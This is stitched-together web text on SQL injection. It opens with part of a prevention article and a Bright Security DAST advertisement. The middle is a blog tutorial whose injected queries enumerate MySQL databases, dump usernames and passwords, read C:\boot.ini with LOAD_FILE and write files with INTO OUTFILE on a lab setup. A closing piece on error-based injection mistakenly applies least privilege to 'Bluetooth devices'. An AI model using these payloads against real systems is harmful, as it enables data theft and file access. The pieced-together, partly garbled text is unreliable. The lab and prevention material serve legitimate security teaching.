Applications must allow each process or software component to access and affect only the resources it needs. Apply privileges based on actual needs—for example, an application should only have permission to access the database if it actually needs it, and should not have write or delete permissions if it only needs to read data from the database. This can mitigate many of the risks associated with injection attacks.

It is quite rare for applications to change database structure at runtime. In most cases, operations like creating or dropping tables, or modifying columns in a table, are performed during release windows and not during runtime. 

Therefore, it is best to reduce the application’s privileges at runtime to edit only the specific data it needs, but not change the table structure. For SQL databases, this means that the application’s service account can only execute DML statements, not DDL statements.

4. Allowlist Input Validation

Some parts of a SQL query do not permit the use of bind variables (such as table and column names) or sorting indicators (such as ASC or DESC). Use input validation or query redesign to prevent these types of illegal inputs. Whenever table or column names are used, these values should come from the code and not from user inputs.

Whenever user parameters must be used to target table and column names, map the parameter values to an allowlist of valid, expected names, to prevent unexpected user input.

5. Use Dynamic Application Security Testing (DAST)

DAST scanning can help detect SQL injection from the attacker’s perspective, attempting to exploit running applications with malicious inputs, and identifying severe vulnerabilities. 

Bright Security is a next-generation dynamic application security testing (DAST) solution which helps automate the detection and remediation of SQLi early in the development process, across web applications and APIs. 

By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright Security completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle. 

Scan any web app, or REST, SOAP and GraphQL APIs to prevent SQL injection vulnerabilities – try Bright Security free.

In this blog post, I will explain about SQL Injection attack and a basic exploitation by browser-based payload injection.But basic concepts of SQL is needed before you read next.

Let’s begin.

What is SQL Injection ?

SQL Injection is a web application security vulnerability, which allows an attacker to “Inject” and execute his/her SQL queries in the context of the web application/website running. This is generally done by injecting SQL queries in GET or POST HTTP Requests which are then passed to the DBMS system without proper sanitisation.

A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands — OWASP Project

Exploitation (MySQL error based)

Before proceeding to exploitation, I would like to give some details about the vulnerable webpage and environment used in SQL Injection exploitation demo.

Webserver: Apache 2.2 for Windows
Server Side Script Processor : PHP 5.3
DBMS Server : MySQL 5.5.13 for Windows
Operating System: Windows XP

Our end goal will be to exploit the SQL injection vulnerability, enumerate all the databases, tables, columns and to grab some data stored in a table found earlier.

So let the hacking begin. Please follow the URLs in browser carefully to understand everything.

The page looks like this:

So, from above it looks like “support” variable in URL containing value “yes” is used in the internal SQL Query to display the table since the value in “SUPPORT” column is always»YES». Now let’s play with the URL for SQL Injection:

After adding a single quote ' character in the URL the page throws an MySQL error which says syntax error near yes. So it seems the page vulnerable to SQL Injection.

The back-end SQL statement assumed here is

SELECT * FROM SOME_TABLE WHERE SUPPORT ='yes'

Now let’s try to harvest some data using UNION operator.

The UNION operator

The UNION operator is used to join the result of two or more SELECT statements. But UNION operator comes with a twist. It requires two criteria to be fulfilled.

I. The two queries should return the same number of columns.
II. The data-types in the corresponding columns of the SELECT statements must be of
the same orcompatible type.

So first thing here is to find the number of columns.

How can we find the number columns in the table in which the SQL commands are running. First approach is that you can guess number of columns from the data displayed in the browser or you can test by trial-and-error method using the ORDER BY keyword.

The ORDER BY keyword

The ORDER BY keyword displays the result sorted by specified column name or number.

So let’s play with ORDER BY keyword to find the number of column(s) in the affected table.

ORDER BY 20 fails here, because column number 20 does not exist therefore columns are less than 20. And %23 is the URL encoded form of # which will comment out further portion of the statement which can fail the injection.

Assumed internal SQL Statement after Injection:

SELECT * from SOME_TABLE where support = 'yes' order by 20 #'

Let’s decrease the column count in ORDER BY clause

ORDER BY 10 also fails, which clearly hints that column is less than 10.

Assumed internal SQL Statement after Injection:

SELECT * from SOME_TABLE where support = 'yes' order by 10 #'

Let’s further decrease the column count.

Hey! ORDER BY 6 seems to work, we see the table being displayed instead of the “unknown clause” error , that means columns are >= (greater than or equal to) 6

Assumed internal SQL Statement after Injection:

SELECT * from SOME_TABLE where support = 'yes' order by 6 #'

Let’s increase the ORDER BY value to 7 and see if it messes up the result or not.

ORDER BY 7 again throws an error which finally means the internal column count is 6.
Assumed internal SQL statement after Injection:

SELECT * from SOME_TABLE where support = 'yes' order by 7 #'

The table displayed in the browser shows six columns, but in many instances the output columns and internal SQL columns will not be same because the webpage might not want to display the result from all the columns in DBMS table . But that case is not here, it looks like the page displays all the columns.

Now, we have successfully found the number of columns, which we will use for UNION based attack, now the problem again arises that UNION needs exact number of columns and same data-types (or convertible data-types ). How will we do it ?. We can just substitute NULLs in place of columns of the second table and try to gather data by injecting commands into columns of 6 columns available and injectable.

Let’s try to find the MySQL version in use by using @@version super variable.

The above picture clearly shows the version displayed is 5.5.13. So we have found some very basic data using SQL Injection.

Assumed internal SQL statement after Injection:

SELECT * from SOME_TABLE where support = 'yes' UNION SELECT @@version,NULL, NULL, NULL, NULL, NULL#'

The above SQL statement uses column 1 to fetch the MySQL version and rest columns are filled with NULLs.

Now there is a problem the injected query also returns the data from the first table of UNION keyword, So how can we fix it. We can force the WHERE clause to fail by issuing an AND 1=0 or similar constraints which are always false so the first portion of UNION will fail and only second part will be shown.

Let’s try to enumerate all the available databases, See below

You can see clearly the we have got two databases available for us.

Here we have enumerated the MySQL’s information_schema.columns table and table_schema column to find the databases available to us, because information_schema.columns contains information regarding available databases to the user, table names, column names and etc . We have assumed that information_schema database to exist, because by default it is available in all versions of MySQL 5.

Assumed internal SQL statement after Injection:

SELECT * from SOME_TABLE  where support = 'yes' AND 1=0 UNION SELECT table_schema,NULL,NULL, NULL, NULL, NULL FROM information_schema.columns#'

Now let’s try to enumerate all the tables available in dvwa database:

So, you can see columns have been successfully enumerated by using column_name column of information_schema.columns table.Since we have used two columns for our injection, i.e., table_name and column_name we have padded further values by using four NULLs to fill 6 columns for UNION to work.

Assumed internal SQL statement after Injection:

SELECT * from  SOME_TABLE where support = 'yes' AND 1=0 UNION SELECT table_name,column_name,NULL, NULL, NULL, NULL FROM information_schema.columns where table_schema = 'dvwa' #'

Let’s try to enumerate first_name,last_name,user,password from dvwa database’s users table.

You can see clearly all the data in first_name,last_name,user,password have been dumped successfully !

Assumed internal SQL statement after Injection:

SELECT * from SOME_TABLE  where support = 'yes' AND 1=0 UNION SELECT first_name,last_name,user,password,NULL,NULL FROM dvwa.users #'

So, this was all about data grabbing by SQL Injection.

Wait! I’ve some bonus stuff to share.

Privilege Enumeration

We just saw how to fetch data using a SQL Injection attack. Now let’s check for the user privileges to further extend the attack if we are on a higher privilege account.

So to do this we have to first check for the current database user.

We used user() function to see the current database user running the vulnerable webpage and luckily we found that it’s the root database user, which is the most powerful user with all high level privileges like FILE, SHUTDOWN etc.

Assumed internal SQL statement after Injection:

SELECT * from  SOME_TABLE  where support = 'yes' AND 1=0 UNION SELECT user(),NULL,NULL,NULL,NULL,NULL #'

Let’s try enumerate the privileges available to the current user

We just listed the privileges available to [email protected]

Assumed internal SQL statement after Injection:

SELECT * from  SOME_TABLE  where support = 'yes' AND 1=0 UNION SELECT PRIVILEGE_TYPE,NULL,NULL,NULL,NULL,NULL FROM information_schema.user_privileges WHERE GRANTEE = "'root'@'localhost'" #'

Now from the above snap, you can see a privilege know as FILE which can be used to read and write files with MySQL.

Let’s try to read C:boot.ini using SQL injection:

The above picture shows the content of C:boot.ini , LOAD_FILE() function was used to read the file.

Assumed internal SQL statement after Injection:

SELECT * from  SOME_TABLE where support = 'yes' AND 1=0 UNION SELECT LOAD_FILE('C:\boot.ini'),NULL,NULL,NULL,NULL,NULL #'

Now lets try to write a file using SQL Injection

We will write “You have been hacked” to the file C:hacked.txt

You can see above, we have used INTO OUTFILE keyword to write the text into respective file. You may see N displayed which is due to the NULL columns used with the UNION operator.

Assumed internal SQL statement after Injection:

SELECT * from  SOME_TABLE  where support = 'yes' AND 1=0 UNION SELECT 'You have been hacked',NULL,NULL,NULL,NULL,NULL INTO OUTFILE 'C:\hacked.txt' #'

That’s all folks, Thanks !

An in-band injection technique allows hackers to take advantage of the database’s error output. Databases are manipulated into generating an error that informs the hacker about the structure of the database. Hackers utilize one of the communication channels of the server to launch an attack and retrieve information using in-band injections. Force data extraction requires using a vulnerability. Usually, the vulnerability allows code to show an SQL error from the server in place of the required data. Hackers can understand the structure of the database from this error.

Example of Error-based SQL Injections:

Adding SQL syntax to user input: In this SQL injection, a hacker inserts a malicious query to get an error that displays a message containing sensitive information about the database. A hacker might try writing a SQL command in any input field like a single quote, double-quote, or any other SQL operator like OR, AND, NOT.

For Example, for a URL of a site that takes a parameter from the user,

 then in that case: https://www.example.org/index.php?item=123

Then here attacker can try inserting any SQL command or operator in the passes value,

 as: https://www.example.org/index.php?item=123′

In this case, a database could return some error like this, If you have an error in your SQL syntax, check the manual corresponding to your MySQL server version for the right syntax to use near “VALUE.” This message gives the attacker information like the database used in SQL, the syntax that caused an error, and where the syntax occurred in the query. For a professional hacker with experience, this will be enough to tell him that the server is insecurely connected to a database and can plan additional SQL injection attacks that will cause damage. An attacker can try several queries using commands like grep extract in input fields and see adding which commands return an error.

Prevention from Error-Based SQL Injection:

1. Prepared statements: The most secure way to write the database queries is using prepared statements with variable bindings. It is better because it uses parameterized queries, as working with dynamic queries is tricky. The developer must define all the SQL code beforehand, and then each parameter must be passed to the query. This method prevents almost all SQL injection attacks, as it stops hackers from changing the query’s intent and creates a separation between user input and data. This withstands better against the malicious queries entered by the users. In sporadic cases, this method will affect the server’s performance; in that case, other methods can be used.

2. Stored Procedures: This is another way to stop the attackers from attacking the system, and if it is implemented correctly, it can completely erase the possibility of SQL injections. For the stored procedure, whenever an application needs SQL queries, then they are fetched from the database itself as the SQL queries are defined and stored there for implementing the stored procedure.

3. Least Privilege: All the permissions given to the Bluetooth devices must be checked; only the necessary ones should be allowed by the device. For Example, an application must be permitted to access the database to manipulate the stored data. This reduces the risks related to SQL injection. Many normal-looking apps sometimes request access to the sensitive data present in the database. So it is better to reduce the apps’ permissions and allow only the important ones.